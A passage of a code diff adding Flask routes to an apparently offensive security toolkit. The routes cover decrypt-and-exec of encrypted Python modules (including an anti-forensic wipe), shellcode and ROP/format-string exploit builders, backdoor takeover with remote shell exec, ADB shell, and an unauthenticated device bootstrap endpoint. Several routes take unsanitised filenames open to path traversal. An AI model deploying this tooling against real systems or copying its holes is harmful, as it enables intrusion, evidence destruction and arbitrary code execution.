protocol=data.get('protocol', 'imap'),
search_query=data.get('query') or None,
folder=data.get('folder', 'INBOX'),
use_ssl=data.get('ssl', True),
))
@email_sec_bp.route('/mailbox/fetch', methods=['POST'])
@login_required
def mailbox_fetch():
"""Fetch a full email by message ID."""
data = request.get_json(silent=True) or {}
host = data.get('host', '').strip()
username = data.get('username', '').strip()
password = data.get('password', '')
message_id = data.get('message_id', '').strip()
if not host or not username or not password or not message_id:
return jsonify({'error': 'Host, username, password, and message_id are required'}), 400
return jsonify(_get_es().fetch_email(
host=host,
username=username,
password=password,
message_id=message_id,
protocol=data.get('protocol', 'imap'),
use_ssl=data.get('ssl', True),
))
@email_sec_bp.route('/blacklist', methods=['POST'])
@login_required
def check_blacklists():
"""Check IP or domain against email blacklists."""
data = request.get_json(silent=True) or {}
target = data.get('ip_or_domain', '').strip()
if not target:
return jsonify({'error': 'IP or domain is required'}), 400
return jsonify(_get_es().check_blacklists(target))
@email_sec_bp.route('/abuse-report', methods=['POST'])
@login_required
def abuse_report():
"""Generate an abuse report."""
data = request.get_json(silent=True) or {}
incident_data = data.get('incident_data', data)
return jsonify(_get_es().generate_abuse_report(incident_data))

333
web/routes/encmodules.py Normal file
View File

@@ -0,0 +1,333 @@
"""Encrypted Modules — load and execute AES-encrypted Python modules."""
import io
import json
import os
import sys
import threading
import time
import uuid
from pathlib import Path
from flask import (Blueprint, Response, jsonify, render_template,
request, session)
from web.auth import login_required
encmodules_bp = Blueprint('encmodules', __name__, url_prefix='/encmodules')
# ── Storage ───────────────────────────────────────────────────────────────────
def _module_dir() -> Path:
from core.paths import get_app_dir
d = get_app_dir() / 'modules' / 'encrypted'
d.mkdir(parents=True, exist_ok=True)
return d
# ── Module metadata ───────────────────────────────────────────────────────────
_DISPLAY_NAMES = {
'tor_pedo_hunter_killer': 'TOR-Pedo Hunter Killer',
'tor-pedo_hunter_killer': 'TOR-Pedo Hunter Killer',
'tphk': 'TOR-Pedo Hunter Killer',
'poison_pill': 'Poison Pill',
'poisonpill': 'Poison Pill',
'floppy_dick': 'Floppy_Dick',
'floppydick': 'Floppy_Dick',
}
_DESCRIPTIONS = {
'TOR-Pedo Hunter Killer':
'Identifies and reports CSAM distributors and predator networks on Tor hidden services. '
'Generates law-enforcement referral dossiers. Authorized investigations only.',
'Poison Pill':
'Emergency anti-forensic self-protection. Securely wipes configured data paths, '
'rotates credentials, kills sessions, and triggers remote wipe on companion devices.',
'Floppy_Dick':
'Legacy-protocol credential fuzzer. Tests FTP, Telnet, SMTP, SNMP v1/v2c, and '
'other deprecated authentication endpoints. For authorized pentest engagements.',
}
_TAGS = {
'TOR-Pedo Hunter Killer': ['CSAM', 'TOR', 'OSINT', 'counter'],
'Poison Pill': ['anti-forensic', 'emergency', 'wipe'],
'Floppy_Dick': ['brute-force', 'auth', 'legacy', 'pentest'],
}
_TAG_COLORS = {
'CSAM': 'danger', 'TOR': 'danger', 'counter': 'warn',
'OSINT': 'info', 'anti-forensic': 'warn', 'emergency': 'danger',
'wipe': 'danger', 'brute-force': 'warn', 'auth': 'info',
'legacy': 'dim', 'pentest': 'info',
}
def _resolve_display_name(stem: str) -> str:
key = stem.lower().replace('-', '_')
return _DISPLAY_NAMES.get(key, stem.replace('_', ' ').replace('-', ' ').title())
def _read_sidecar(aes_path: Path) -> dict:
"""Try to read a .json sidecar file alongside the .aes file."""
sidecar = aes_path.with_suffix('.json')
if sidecar.exists():
try:
return json.loads(sidecar.read_text(encoding='utf-8'))
except Exception:
pass
return {}
def _read_autarch_meta(aes_path: Path) -> dict:
"""Try to read embedded AUTARCH-format metadata without decrypting."""
try:
from core.module_crypto import read_metadata
meta = read_metadata(aes_path)
if meta:
return meta
except Exception:
pass
return {}
def _get_module_info(path: Path) -> dict:
"""Build a metadata dict for a single .aes file."""
stem = path.stem
meta = _read_autarch_meta(path) or _read_sidecar(path)
display = meta.get('name') or _resolve_display_name(stem)
size_kb = round(path.stat().st_size / 1024, 1)
return {
'id': stem,
'filename': path.name,
'path': str(path),
'name': display,
'description': meta.get('description') or _DESCRIPTIONS.get(display, ''),
'version': meta.get('version', ''),
'author': meta.get('author', ''),
'tags': meta.get('tags') or _TAGS.get(display, []),
'tag_colors': _TAG_COLORS,
'size_kb': size_kb,
}
def _list_modules() -> list[dict]:
d = _module_dir()
modules = []
for p in sorted(d.glob('*.aes')):
modules.append(_get_module_info(p))
return modules
# ── Decryption ────────────────────────────────────────────────────────────────
def _decrypt_aes_file(path: Path, password: str) -> str:
"""
Decrypt an .aes file and return the Python source string.
Tries AUTARCH format first, then falls back to raw AES-256-CBC
with the password as a 32-byte key (PBKDF2-derived or raw).
"""
data = path.read_bytes()
# ── AUTARCH format ────────────────────────────────────────────────────────
try:
from core.module_crypto import decrypt_module
source, _ = decrypt_module(data, password)
return source
except ValueError as e:
if 'bad magic' not in str(e).lower():
raise # Wrong password or tampered — propagate
except Exception:
pass
# ── Fallback: raw AES-256-CBC, IV in first 16 bytes ──────────────────────
# Key derived from password via SHA-512 (first 32 bytes)
import hashlib
raw_key = hashlib.sha512(password.encode('utf-8')).digest()[:32]
iv = data[:16]
ciphertext = data[16:]
from core.module_crypto import _aes_decrypt
try:
plaintext = _aes_decrypt(raw_key, iv, ciphertext)
return plaintext.decode('utf-8')
except Exception:
pass
# ── Fallback 2: PBKDF2 with fixed salt ───────────────────────────────────
import struct
# Try with the first 16 bytes as IV and empty salt PBKDF2
pbkdf_key = hashlib.pbkdf2_hmac('sha512', password.encode(), b'\x00' * 32, 10000, dklen=32)
try:
plaintext = _aes_decrypt(pbkdf_key, iv, ciphertext)
return plaintext.decode('utf-8')
except Exception:
pass
raise ValueError("Decryption failed — check your password/key")
# ── Execution ─────────────────────────────────────────────────────────────────
_active_runs: dict = {} # run_id -> {'steps': [], 'done': bool, 'stop': Event}
def _exec_module(source: str, params: dict, run_id: str) -> None:
"""Execute decrypted module source in a background thread."""
run = _active_runs[run_id]
steps = run['steps']
def output_cb(item: dict) -> None:
steps.append(item)
output_cb({'line': '[MODULE] Starting...'})
namespace: dict = {
'__name__': '__encmod__',
'__builtins__': __builtins__,
}
try:
exec(compile(source, '<encrypted_module>', 'exec'), namespace)
if 'run' in namespace and callable(namespace['run']):
result = namespace['run'](params, output_cb=output_cb)
steps.append({'line': f'[MODULE] Finished.', 'result': result})
else:
steps.append({'line': '[MODULE] No run() function found — module loaded but not executed.'})
except Exception as exc:
steps.append({'line': f'[MODULE][ERROR] {exc}', 'error': True})
finally:
run['done'] = True
# ── Routes ────────────────────────────────────────────────────────────────────
@encmodules_bp.route('/')
@login_required
def index():
return render_template('encmodules.html', modules=_list_modules())
@encmodules_bp.route('/upload', methods=['POST'])
@login_required
def upload():
f = request.files.get('module_file')
if not f or not f.filename:
return jsonify({'error': 'No file provided'})
filename = f.filename
if not filename.lower().endswith('.aes'):
return jsonify({'error': 'Only .aes files are accepted'})
dest = _module_dir() / Path(filename).name
f.save(str(dest))
info = _get_module_info(dest)
return jsonify({'ok': True, 'module': info})
@encmodules_bp.route('/verify', methods=['POST'])
@login_required
def verify():
"""Try to decrypt a module with the given password and return status (no execution)."""
data = request.get_json(silent=True) or {}
filename = data.get('filename', '').strip()
password = data.get('password', '').strip()
if not filename or not password:
return jsonify({'error': 'filename and password required'})
path = _module_dir() / filename
if not path.exists():
return jsonify({'error': 'Module not found'})
try:
source = _decrypt_aes_file(path, password)
lines = source.count('\n') + 1
has_run = 'def run(' in source
return jsonify({'ok': True, 'lines': lines, 'has_run': has_run})
except ValueError as exc:
return jsonify({'error': str(exc)})
except Exception as exc:
return jsonify({'error': f'Unexpected error: {exc}'})
@encmodules_bp.route('/run', methods=['POST'])
@login_required
def run_module():
"""Decrypt and execute a module, returning a run_id for SSE streaming."""
data = request.get_json(silent=True) or {}
filename = data.get('filename', '').strip()
password = data.get('password', '').strip()
params = data.get('params', {})
if not filename or not password:
return jsonify({'error': 'filename and password required'})
path = _module_dir() / filename
if not path.exists():
return jsonify({'error': 'Module not found'})
try:
source = _decrypt_aes_file(path, password)
except ValueError as exc:
return jsonify({'error': str(exc)})
except Exception as exc:
return jsonify({'error': f'Decrypt error: {exc}'})
run_id = str(uuid.uuid4())
stop_ev = threading.Event()
_active_runs[run_id] = {'steps': [], 'done': False, 'stop': stop_ev}
t = threading.Thread(target=_exec_module, args=(source, params, run_id), daemon=True)
t.start()
return jsonify({'ok': True, 'run_id': run_id})
@encmodules_bp.route('/stream/<run_id>')
@login_required
def stream(run_id: str):
"""SSE stream for a running module."""
def generate():
run = _active_runs.get(run_id)
if not run:
yield f"data: {json.dumps({'error': 'Run not found'})}\n\n"
return
sent = 0
while True:
steps = run['steps']
while sent < len(steps):
yield f"data: {json.dumps(steps[sent])}\n\n"
sent += 1
if run['done']:
yield f"data: {json.dumps({'done': True})}\n\n"
_active_runs.pop(run_id, None)
return
time.sleep(0.1)
return Response(generate(), mimetype='text/event-stream',
headers={'Cache-Control': 'no-cache', 'X-Accel-Buffering': 'no'})
@encmodules_bp.route('/stop/<run_id>', methods=['POST'])
@login_required
def stop_run(run_id: str):
run = _active_runs.get(run_id)
if run:
run['stop'].set()
run['done'] = True
return jsonify({'stopped': bool(run)})
@encmodules_bp.route('/delete', methods=['POST'])
@login_required
def delete():
data = request.get_json(silent=True) or {}
filename = data.get('filename', '').strip()
if not filename:
return jsonify({'error': 'filename required'})
path = _module_dir() / filename
if path.exists() and path.suffix.lower() == '.aes':
path.unlink()
sidecar = path.with_suffix('.json')
if sidecar.exists():
sidecar.unlink()
return jsonify({'ok': True})
return jsonify({'error': 'File not found or invalid'})
@encmodules_bp.route('/list')
@login_required
def list_modules():
return jsonify({'modules': _list_modules()})

154
web/routes/exploit_dev.py Normal file
View File

@@ -0,0 +1,154 @@
"""Exploit Development routes."""
import os
from flask import Blueprint, request, jsonify, render_template, current_app
from web.auth import login_required
exploit_dev_bp = Blueprint('exploit_dev', __name__, url_prefix='/exploit-dev')
def _get_dev():
from modules.exploit_dev import get_exploit_dev
return get_exploit_dev()
@exploit_dev_bp.route('/')
@login_required
def index():
return render_template('exploit_dev.html')
@exploit_dev_bp.route('/shellcode', methods=['POST'])
@login_required
def shellcode():
data = request.get_json(silent=True) or {}
result = _get_dev().generate_shellcode(
shell_type=data.get('type', 'execve'),
arch=data.get('arch', 'x64'),
host=data.get('host') or None,
port=data.get('port') or None,
platform=data.get('platform', 'linux'),
staged=data.get('staged', False),
output_format=data.get('output_format', 'hex'),
)
return jsonify(result)
@exploit_dev_bp.route('/shellcodes')
@login_required
def list_shellcodes():
return jsonify({'shellcodes': _get_dev().list_shellcodes()})
@exploit_dev_bp.route('/encode', methods=['POST'])
@login_required
def encode():
data = request.get_json(silent=True) or {}
result = _get_dev().encode_payload(
shellcode=data.get('shellcode', ''),
encoder=data.get('encoder', 'xor'),
key=data.get('key') or None,
iterations=int(data.get('iterations', 1)),
)
return jsonify(result)
@exploit_dev_bp.route('/pattern/create', methods=['POST'])
@login_required
def pattern_create():
data = request.get_json(silent=True) or {}
length = int(data.get('length', 500))
result = _get_dev().generate_pattern(length)
return jsonify(result)
@exploit_dev_bp.route('/pattern/offset', methods=['POST'])
@login_required
def pattern_offset():
data = request.get_json(silent=True) or {}
result = _get_dev().find_pattern_offset(
value=data.get('value', ''),
length=int(data.get('length', 20000)),
)
return jsonify(result)
@exploit_dev_bp.route('/rop/gadgets', methods=['POST'])
@login_required
def rop_gadgets():
data = request.get_json(silent=True) or {}
binary_path = data.get('binary_path', '').strip()
# Support file upload
if not binary_path and request.content_type and 'multipart' in request.content_type:
uploaded = request.files.get('binary')
if uploaded:
upload_dir = current_app.config.get('UPLOAD_FOLDER', '/tmp')
binary_path = os.path.join(upload_dir, uploaded.filename)
uploaded.save(binary_path)
if not binary_path:
return jsonify({'error': 'No binary path or file provided'}), 400
gadget_type = data.get('gadget_type') or None
if gadget_type == 'all':
gadget_type = None
result = _get_dev().find_rop_gadgets(binary_path, gadget_type)
return jsonify(result)
@exploit_dev_bp.route('/rop/chain', methods=['POST'])
@login_required
def rop_chain():
data = request.get_json(silent=True) or {}
gadgets = data.get('gadgets', [])
chain_spec = data.get('chain_spec', [])
if not gadgets or not chain_spec:
return jsonify({'error': 'Provide gadgets and chain_spec'}), 400
result = _get_dev().build_rop_chain(gadgets, chain_spec)
return jsonify(result)
@exploit_dev_bp.route('/format/offset', methods=['POST'])
@login_required
def format_offset():
data = request.get_json(silent=True) or {}
result = _get_dev().format_string_offset(
binary_path=data.get('binary_path'),
test_count=int(data.get('test_count', 20)),
)
return jsonify(result)
@exploit_dev_bp.route('/format/write', methods=['POST'])
@login_required
def format_write():
data = request.get_json(silent=True) or {}
address = data.get('address', '0')
value = data.get('value', '0')
offset = data.get('offset', 1)
result = _get_dev().format_string_write(address, value, offset)
return jsonify(result)
@exploit_dev_bp.route('/assemble', methods=['POST'])
@login_required
def assemble():
data = request.get_json(silent=True) or {}
result = _get_dev().assemble(
code=data.get('code', ''),
arch=data.get('arch', 'x64'),
)
return jsonify(result)
@exploit_dev_bp.route('/disassemble', methods=['POST'])
@login_required
def disassemble():
data = request.get_json(silent=True) or {}
result = _get_dev().disassemble(
data=data.get('hex', ''),
arch=data.get('arch', 'x64'),
offset=int(data.get('offset', 0)),
)
return jsonify(result)

71
web/routes/forensics.py Normal file
View File

@@ -0,0 +1,71 @@
"""Forensics Toolkit routes."""
from flask import Blueprint, request, jsonify, render_template
from web.auth import login_required
forensics_bp = Blueprint('forensics', __name__, url_prefix='/forensics')
def _get_engine():
from modules.forensics import get_forensics
return get_forensics()
@forensics_bp.route('/')
@login_required
def index():
return render_template('forensics.html')
@forensics_bp.route('/hash', methods=['POST'])
@login_required
def hash_file():
data = request.get_json(silent=True) or {}
return jsonify(_get_engine().hash_file(data.get('file', ''), data.get('algorithms')))
@forensics_bp.route('/verify', methods=['POST'])
@login_required
def verify_hash():
data = request.get_json(silent=True) or {}
return jsonify(_get_engine().verify_hash(
data.get('file', ''), data.get('hash', ''), data.get('algorithm')
))
@forensics_bp.route('/image', methods=['POST'])
@login_required
def create_image():
data = request.get_json(silent=True) or {}
return jsonify(_get_engine().create_image(data.get('source', ''), data.get('output')))
@forensics_bp.route('/carve', methods=['POST'])
@login_required
def carve_files():
data = request.get_json(silent=True) or {}
return jsonify(_get_engine().carve_files(
data.get('source', ''), data.get('file_types'), data.get('max_files', 100)
))
@forensics_bp.route('/metadata', methods=['POST'])
@login_required
def extract_metadata():
data = request.get_json(silent=True) or {}
return jsonify(_get_engine().extract_metadata(data.get('file', '')))
@forensics_bp.route('/timeline', methods=['POST'])
@login_required
def build_timeline():
data = request.get_json(silent=True) or {}
return jsonify(_get_engine().build_timeline(
data.get('directory', ''), data.get('recursive', True), data.get('max_entries', 10000)
))
@forensics_bp.route('/evidence')
@login_required
def list_evidence():
return jsonify(_get_engine().list_evidence())
@forensics_bp.route('/carved')
@login_required
def list_carved():
return jsonify(_get_engine().list_carved())
@forensics_bp.route('/custody')
@login_required
def custody_log():
return jsonify(_get_engine().get_custody_log())

139
web/routes/hack_hijack.py Normal file
View File

@@ -0,0 +1,139 @@
"""Hack Hijack — web routes for scanning and taking over compromised systems."""
import threading
import uuid
from flask import Blueprint, render_template, request, jsonify, Response
from web.auth import login_required
hack_hijack_bp = Blueprint('hack_hijack', __name__)
# Running scans keyed by job_id
_running_scans: dict = {}
def _svc():
from modules.hack_hijack import get_hack_hijack
return get_hack_hijack()
# ── UI ────────────────────────────────────────────────────────────────────────
@hack_hijack_bp.route('/hack-hijack/')
@login_required
def index():
return render_template('hack_hijack.html')
# ── Scanning ──────────────────────────────────────────────────────────────────
@hack_hijack_bp.route('/hack-hijack/scan', methods=['POST'])
@login_required
def start_scan():
data = request.get_json(silent=True) or {}
target = data.get('target', '').strip()
scan_type = data.get('scan_type', 'quick')
custom_ports = data.get('custom_ports', [])
if not target:
return jsonify({'ok': False, 'error': 'Target IP required'})
# Validate scan type
if scan_type not in ('quick', 'full', 'nmap', 'custom'):
scan_type = 'quick'
job_id = str(uuid.uuid4())[:8]
result_holder = {'result': None, 'error': None, 'done': False}
_running_scans[job_id] = result_holder
def do_scan():
try:
svc = _svc()
r = svc.scan_target(
target,
scan_type=scan_type,
custom_ports=custom_ports,
timeout=3.0,
)
result_holder['result'] = r.to_dict()
except Exception as e:
result_holder['error'] = str(e)
finally:
result_holder['done'] = True
threading.Thread(target=do_scan, daemon=True).start()
return jsonify({'ok': True, 'job_id': job_id,
'message': f'Scan started on {target} ({scan_type})'})
@hack_hijack_bp.route('/hack-hijack/scan/<job_id>', methods=['GET'])
@login_required
def scan_status(job_id):
holder = _running_scans.get(job_id)
if not holder:
return jsonify({'ok': False, 'error': 'Job not found'})
if not holder['done']:
return jsonify({'ok': True, 'done': False, 'message': 'Scan in progress...'})
if holder['error']:
return jsonify({'ok': False, 'error': holder['error'], 'done': True})
# Clean up
_running_scans.pop(job_id, None)
return jsonify({'ok': True, 'done': True, 'result': holder['result']})
# ── Takeover ──────────────────────────────────────────────────────────────────
@hack_hijack_bp.route('/hack-hijack/takeover', methods=['POST'])
@login_required
def attempt_takeover():
data = request.get_json(silent=True) or {}
host = data.get('host', '').strip()
backdoor = data.get('backdoor', {})
if not host or not backdoor:
return jsonify({'ok': False, 'error': 'Host and backdoor data required'})
svc = _svc()
result = svc.attempt_takeover(host, backdoor)
return jsonify(result)
# ── Sessions ──────────────────────────────────────────────────────────────────
@hack_hijack_bp.route('/hack-hijack/sessions', methods=['GET'])
@login_required
def list_sessions():
svc = _svc()
return jsonify({'ok': True, 'sessions': svc.list_sessions()})
@hack_hijack_bp.route('/hack-hijack/sessions/<session_id>/exec', methods=['POST'])
@login_required
def shell_exec(session_id):
data = request.get_json(silent=True) or {}
command = data.get('command', '')
if not command:
return jsonify({'ok': False, 'error': 'No command provided'})
svc = _svc()
result = svc.shell_execute(session_id, command)
return jsonify(result)
@hack_hijack_bp.route('/hack-hijack/sessions/<session_id>', methods=['DELETE'])
@login_required
def close_session(session_id):
svc = _svc()
return jsonify(svc.close_session(session_id))
# ── History ───────────────────────────────────────────────────────────────────
@hack_hijack_bp.route('/hack-hijack/history', methods=['GET'])
@login_required
def scan_history():
svc = _svc()
return jsonify({'ok': True, 'scans': svc.get_scan_history()})
@hack_hijack_bp.route('/hack-hijack/history', methods=['DELETE'])
@login_required
def clear_history():
svc = _svc()
return jsonify(svc.clear_history())

416
web/routes/hardware.py Normal file
View File

@@ -0,0 +1,416 @@
"""Hardware route - ADB/Fastboot device management and ESP32 serial flashing."""
import json
import time
from flask import Blueprint, render_template, request, jsonify, Response, stream_with_context
from web.auth import login_required
hardware_bp = Blueprint('hardware', __name__, url_prefix='/hardware')
@hardware_bp.route('/')
@login_required
def index():
from core.hardware import get_hardware_manager
mgr = get_hardware_manager()
status = mgr.get_status()
return render_template('hardware.html', status=status)
@hardware_bp.route('/status')
@login_required
def status():
from core.hardware import get_hardware_manager
mgr = get_hardware_manager()
return jsonify(mgr.get_status())
# ── ADB Endpoints ──────────────────────────────────────────────────
@hardware_bp.route('/adb/devices')
@login_required
def adb_devices():
from core.hardware import get_hardware_manager
mgr = get_hardware_manager()
return jsonify({'devices': mgr.adb_devices()})
@hardware_bp.route('/adb/info', methods=['POST'])
@login_required
def adb_info():
from core.hardware import get_hardware_manager
mgr = get_hardware_manager()
data = request.get_json(silent=True) or {}
serial = data.get('serial', '').strip()
if not serial:
return jsonify({'error': 'No serial provided'})
return jsonify(mgr.adb_device_info(serial))
@hardware_bp.route('/adb/shell', methods=['POST'])
@login_required
def adb_shell():
from core.hardware import get_hardware_manager
mgr = get_hardware_manager()
data = request.get_json(silent=True) or {}
serial = data.get('serial', '').strip()
command = data.get('command', '').strip()
if not serial:
return jsonify({'error': 'No serial provided'})
if not command:
return jsonify({'error': 'No command provided'})
result = mgr.adb_shell(serial, command)
return jsonify({
'stdout': result.get('output', ''),
'stderr': '',
'exit_code': result.get('returncode', -1),
})
@hardware_bp.route('/adb/reboot', methods=['POST'])
@login_required
def adb_reboot():
from core.hardware import get_hardware_manager
mgr = get_hardware_manager()
data = request.get_json(silent=True) or {}
serial = data.get('serial', '').strip()
mode = data.get('mode', 'system').strip()
if not serial:
return jsonify({'error': 'No serial provided'})
if mode not in ('system', 'recovery', 'bootloader'):
return jsonify({'error': 'Invalid mode'})
return jsonify(mgr.adb_reboot(serial, mode))
@hardware_bp.route('/adb/sideload', methods=['POST'])
@login_required
def adb_sideload():
from core.hardware import get_hardware_manager
mgr = get_hardware_manager()
data = request.get_json(silent=True) or {}
serial = data.get('serial', '').strip()
filepath = data.get('filepath', '').strip()
if not serial:
return jsonify({'error': 'No serial provided'})
if not filepath:
return jsonify({'error': 'No filepath provided'})
return jsonify(mgr.adb_sideload(serial, filepath))
@hardware_bp.route('/adb/push', methods=['POST'])
@login_required
def adb_push():
from core.hardware import get_hardware_manager
mgr = get_hardware_manager()
data = request.get_json(silent=True) or {}
serial = data.get('serial', '').strip()
local_path = data.get('local', '').strip()
remote_path = data.get('remote', '').strip()
if not serial or not local_path or not remote_path:
return jsonify({'error': 'Missing serial, local, or remote path'})
return jsonify(mgr.adb_push(serial, local_path, remote_path))
@hardware_bp.route('/adb/pull', methods=['POST'])
@login_required
def adb_pull():
from core.hardware import get_hardware_manager
mgr = get_hardware_manager()
data = request.get_json(silent=True) or {}
serial = data.get('serial', '').strip()
remote_path = data.get('remote', '').strip()
if not serial or not remote_path:
return jsonify({'error': 'Missing serial or remote path'})
return jsonify(mgr.adb_pull(serial, remote_path))
@hardware_bp.route('/adb/logcat', methods=['POST'])
@login_required
def adb_logcat():
from core.hardware import get_hardware_manager
mgr = get_hardware_manager()
data = request.get_json(silent=True) or {}
serial = data.get('serial', '').strip()
lines = int(data.get('lines', 100))
if not serial:
return jsonify({'error': 'No serial provided'})
return jsonify(mgr.adb_logcat(serial, lines))
@hardware_bp.route('/archon/bootstrap', methods=['POST'])
def archon_bootstrap():
"""Bootstrap ArchonServer on a USB-connected Android device.
No auth required — this is called by the companion app itself.
Only runs the specific app_process bootstrap command (not arbitrary shell).
"""
from core.hardware import get_hardware_manager
mgr = get_hardware_manager()
data = request.get_json(silent=True) or {}
apk_path = data.get('apk_path', '').strip()
token = data.get('token', '').strip()
port = int(data.get('port', 17321))
if not apk_path or not token:
return jsonify({'ok': False, 'error': 'Missing apk_path or token'}), 400
# Validate inputs to prevent injection
if not apk_path.startswith('/data/app/') or "'" in apk_path or '"' in apk_path:
return jsonify({'ok': False, 'error': 'Invalid APK path'}), 400
if not token.isalnum() or len(token) > 64:
return jsonify({'ok': False, 'error': 'Invalid token'}), 400
if port < 1024 or port > 65535:
return jsonify({'ok': False, 'error': 'Invalid port'}), 400
# Find USB-connected device
devices = mgr.adb_devices()
usb_devices = [d for d in devices if ':' not in d.get('serial', '')]
if not usb_devices:
usb_devices = devices
if not usb_devices:
return jsonify({'ok': False, 'error': 'No ADB devices connected'}), 404
serial = usb_devices[0].get('serial', '')
# Construct the bootstrap command (server-side, safe)
cmd = (
f"TMPDIR=/data/local/tmp "
f"CLASSPATH='{apk_path}' "
f"nohup /system/bin/app_process /system/bin "
f"com.darkhal.archon.server.ArchonServer {token} {port} "
f"> /data/local/tmp/archon_server.log 2>&1 & echo started"
)
result = mgr.adb_shell(serial, cmd)
output = result.get('output', '')
exit_code = result.get('returncode', -1)
if exit_code == 0 or 'started' in output:
return jsonify({'ok': True, 'stdout': output, 'stderr': '', 'exit_code': exit_code})
else:
return jsonify({'ok': False, 'stdout': output, 'stderr': '', 'exit_code': exit_code})
@hardware_bp.route('/adb/setup-tcp', methods=['POST'])
@login_required
def adb_setup_tcp():
"""Enable ADB TCP/IP mode on a USB-connected device.
Called by the Archon companion app to set up remote ADB access.
Finds the first USB-connected device, enables TCP mode on port 5555,
and returns the device's IP address for wireless connection."""
from core.hardware import get_hardware_manager
mgr = get_hardware_manager()
data = request.get_json(silent=True) or {}
port = int(data.get('port', 5555))
serial = data.get('serial', '').strip()
# Find a USB-connected device if no serial specified
if not serial:
devices = mgr.adb_devices()
usb_devices = [d for d in devices if 'usb' in d.get('type', '').lower()
or ':' not in d.get('serial', '')]
if not usb_devices:
# Fall back to any connected device
usb_devices = devices
if not usb_devices:
return jsonify({'ok': False, 'error': 'No ADB devices connected via USB'})
serial = usb_devices[0].get('serial', '')
if not serial:
return jsonify({'ok': False, 'error': 'No device serial available'})
# Get device IP address before switching to TCP mode
ip_result = mgr.adb_shell(serial, 'ip route show default 2>/dev/null | grep -oP "src \\K[\\d.]+"')
device_ip = ip_result.get('stdout', '').strip() if ip_result.get('exit_code', -1) == 0 else ''
# Enable TCP/IP mode
result = mgr.adb_shell(serial, f'setprop service.adb.tcp.port {port}')
if result.get('exit_code', -1) != 0:
return jsonify({'ok': False, 'error': f'Failed to set TCP port: {result.get("stderr", "")}'})
# Restart adbd to apply
mgr.adb_shell(serial, 'stop adbd && start adbd')
return jsonify({
'ok': True,
'serial': serial,
'ip': device_ip,
'port': port,
'message': f'ADB TCP mode enabled on {device_ip}:{port}'
})
# ── Fastboot Endpoints ─────────────────────────────────────────────
@hardware_bp.route('/fastboot/devices')
@login_required
def fastboot_devices():
from core.hardware import get_hardware_manager
mgr = get_hardware_manager()
return jsonify({'devices': mgr.fastboot_devices()})
@hardware_bp.route('/fastboot/info', methods=['POST'])
@login_required
def fastboot_info():
from core.hardware import get_hardware_manager
mgr = get_hardware_manager()
data = request.get_json(silent=True) or {}
serial = data.get('serial', '').strip()
if not serial:
return jsonify({'error': 'No serial provided'})
return jsonify(mgr.fastboot_device_info(serial))
@hardware_bp.route('/fastboot/flash', methods=['POST'])
@login_required
def fastboot_flash():
from core.hardware import get_hardware_manager
mgr = get_hardware_manager()
data = request.get_json(silent=True) or {}
serial = data.get('serial', '').strip()
partition = data.get('partition', '').strip()
filepath = data.get('filepath', '').strip()
if not serial or not partition or not filepath:
return jsonify({'error': 'Missing serial, partition, or filepath'})
return jsonify(mgr.fastboot_flash(serial, partition, filepath))
@hardware_bp.route('/fastboot/reboot', methods=['POST'])
@login_required
def fastboot_reboot():
from core.hardware import get_hardware_manager
mgr = get_hardware_manager()
data = request.get_json(silent=True) or {}
serial = data.get('serial', '').strip()
mode = data.get('mode', 'system').strip()
if not serial:
return jsonify({'error': 'No serial provided'})
if mode not in ('system', 'bootloader', 'recovery'):
return jsonify({'error': 'Invalid mode'})
return jsonify(mgr.fastboot_reboot(serial, mode))
@hardware_bp.route('/fastboot/unlock', methods=['POST'])
@login_required
def fastboot_unlock():
from core.hardware import get_hardware_manager
mgr = get_hardware_manager()
data = request.get_json(silent=True) or {}
serial = data.get('serial', '').strip()
if not serial:
return jsonify({'error': 'No serial provided'})
return jsonify(mgr.fastboot_oem_unlock(serial))
# ── Operation Progress SSE ──────────────────────────────────────────
@hardware_bp.route('/progress/stream')
@login_required
def progress_stream():
"""SSE stream for operation progress (sideload, flash, etc.)."""
from core.hardware import get_hardware_manager
mgr = get_hardware_manager()
op_id = request.args.get('op_id', '')
def generate():
while True:
prog = mgr.get_operation_progress(op_id)
yield f'data: {json.dumps(prog)}\n\n'
if prog.get('status') in ('done', 'error', 'unknown'):
break
time.sleep(0.5)
return Response(stream_with_context(generate()), content_type='text/event-stream')
# ── Serial / ESP32 Endpoints ──────────────────────────────────────
@hardware_bp.route('/serial/ports')
@login_required
def serial_ports():
from core.hardware import get_hardware_manager
mgr = get_hardware_manager()
return jsonify({'ports': mgr.list_serial_ports()})
@hardware_bp.route('/serial/detect', methods=['POST'])
@login_required
def serial_detect():
from core.hardware import get_hardware_manager
mgr = get_hardware_manager()
data = request.get_json(silent=True) or {}
port = data.get('port', '').strip()
baud = int(data.get('baud', 115200))
if not port:
return jsonify({'error': 'No port provided'})
return jsonify(mgr.detect_esp_chip(port, baud))
@hardware_bp.route('/serial/flash', methods=['POST'])
@login_required
def serial_flash():
from core.hardware import get_hardware_manager
mgr = get_hardware_manager()
data = request.get_json(silent=True) or {}
port = data.get('port', '').strip()
filepath = data.get('filepath', '').strip()
baud = int(data.get('baud', 460800))
if not port or not filepath:
return jsonify({'error': 'Missing port or filepath'})
return jsonify(mgr.flash_esp(port, filepath, baud))
@hardware_bp.route('/serial/monitor/start', methods=['POST'])
@login_required
def monitor_start():
from core.hardware import get_hardware_manager
mgr = get_hardware_manager()
data = request.get_json(silent=True) or {}
port = data.get('port', '').strip()
baud = int(data.get('baud', 115200))
if not port:
return jsonify({'error': 'No port provided'})
return jsonify(mgr.serial_monitor_start(port, baud))
@hardware_bp.route('/serial/monitor/stop', methods=['POST'])
@login_required
def monitor_stop():
from core.hardware import get_hardware_manager
mgr = get_hardware_manager()
return jsonify(mgr.serial_monitor_stop())
@hardware_bp.route('/serial/monitor/send', methods=['POST'])
@login_required
def monitor_send():
from core.hardware import get_hardware_manager
mgr = get_hardware_manager()
data = request.get_json(silent=True) or {}
text = data.get('data', '')
return jsonify(mgr.serial_monitor_send(text))
@hardware_bp.route('/serial/monitor/stream')
@login_required
def monitor_stream():
"""SSE stream for serial monitor output."""
from core.hardware import get_hardware_manager
mgr = get_hardware_manager()
def generate():
last_index = 0
while mgr.monitor_running:
result = mgr.serial_monitor_get_output(last_index)
if result['lines']:
for line in result['lines']:
yield f'data: {json.dumps({"type": "data", "line": line["data"]})}\n\n'
last_index = result['total']
yield f'data: {json.dumps({"type": "status", "running": True, "total": result["total"]})}\n\n'
time.sleep(0.3)
yield f'data: {json.dumps({"type": "stopped"})}\n\n'
return Response(stream_with_context(generate()), content_type='text/event-stream')

231
web/routes/incident_resp.py Normal file
View File

@@ -0,0 +1,231 @@
"""Incident Response routes."""
from flask import Blueprint, request, jsonify, render_template
from web.auth import login_required
